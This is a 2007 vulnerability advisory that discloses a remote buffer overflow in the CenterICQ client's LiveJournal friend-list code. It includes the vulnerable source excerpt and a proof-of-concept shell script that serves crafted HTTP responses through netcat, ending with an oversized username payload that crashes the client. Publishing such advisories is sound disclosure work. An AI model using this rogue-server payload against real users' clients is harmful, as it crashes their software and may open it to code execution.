========================================================================

                    TK53 Advisory #1 01/07/2007

    - CenterICQ remote DoS buffer overflow in Livejournal handling

========================================================================

* Authors: Lolek of TK53 <lolek1337@gmail.com>, Roflek of TK53
<roflek1337@gmail.com>

* Affected program: CenterICQ (http://thekonst.net/centericq/)

* Affected versions: 4.9.11 - 4.21.0

* Overwiew:
  CenterICQ contains support for LiveJournal (http://www.livejournal.com/),
  such as posting to your own blog, reading other blogs' RSS feeds, and other
  community-related functions, such as showing whether a user has added or
  removed your own users to/from the friend list, all via a unified HTTP
  interface provided by LiveJournal. The latter functionality is vulnerable
  to a buffer overflow and possible remote code execution.

== Vulnerability Details ==

$SOURCE/src/hooks/ljhook.cc:
char buf[512];
...
            if(find(friendof.begin(), friendof.end(), in->first) ==
friendof.end()) {
                friendof.push_back(in->first);

                if(!foempty) {
                    bd = (string) "http://" +
conf.getourid(proto).server + "/users/" + in->first;

                    sprintf(buf, _("The user %s (%s) has added you to
his/her friend list\n\nJournal address: %s"),
                        in->first.c_str(), in->second.c_str(), bd.c_str());

                    em.store(imnotification(self, buf));
                }
            }
...

CenterICQ regularly checks the server for the friends list (#define
PERIOD_FRIENDS 3600, which means that the check is done every 3600 seconds).

If a user is in the friend list of at least one user, and another user adds the
user to his friend list, foempty gets true, and the sprintf is called, leading
to a buffer overflow in buf. The length of the username (in->first) or the
realname (in->second) are totally unchecked. This means that this will overflow
if: 2*length(username) + length(realname) + length(string literals) >=
sizeof(buf)

The only reason why this is not exploitable with the official LiveJournal
servers is because LiveJournal has a length restriction on both the username (15
characters) and the real name (50 characters). But since the server that is used
for communication is configurable within CenterICQ, and since LiveJournal
provides its backend under the GPL, the risk for buffer overflow and
exploitation does exist.

== Proof of Concept Exploit ==

add the following to your ~/.centericq/conf
lj_nick  randomname
lj_pass  randompass
lj_server  localhost:8000
lj_status  o
lj_importfriends  1

Start the following shell script, then CenterICQ and be patient because of
PERIOD_FRIENDS (3600 seconds, 1 hour) time (or make it 10 or whatever in the
code and recompile).

The following shell script is a very simple proof-of-concept demonstration of
the buffer overflow:

--- SNIP ---
#!/bin/sh

cat > req1.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_count
1
success
OK
__EOF

cat > req2.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
foo
friendof_2_user
foo
friendof_count
2
success
OK
__EOF

cat > req3.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
lolek
friendof_2_user
lolek
friendof_3_bg
#ffffff
friendof_3_fg
#000000
friendof_3_name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
friendof_3_user
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
friendof_count
3
success
OK
__EOF

netcat -lp 8000 < req1.txt
netcat -lp 8000 < req2.txt
netcat -lp 8000 < req3.txt

--- SNIP ---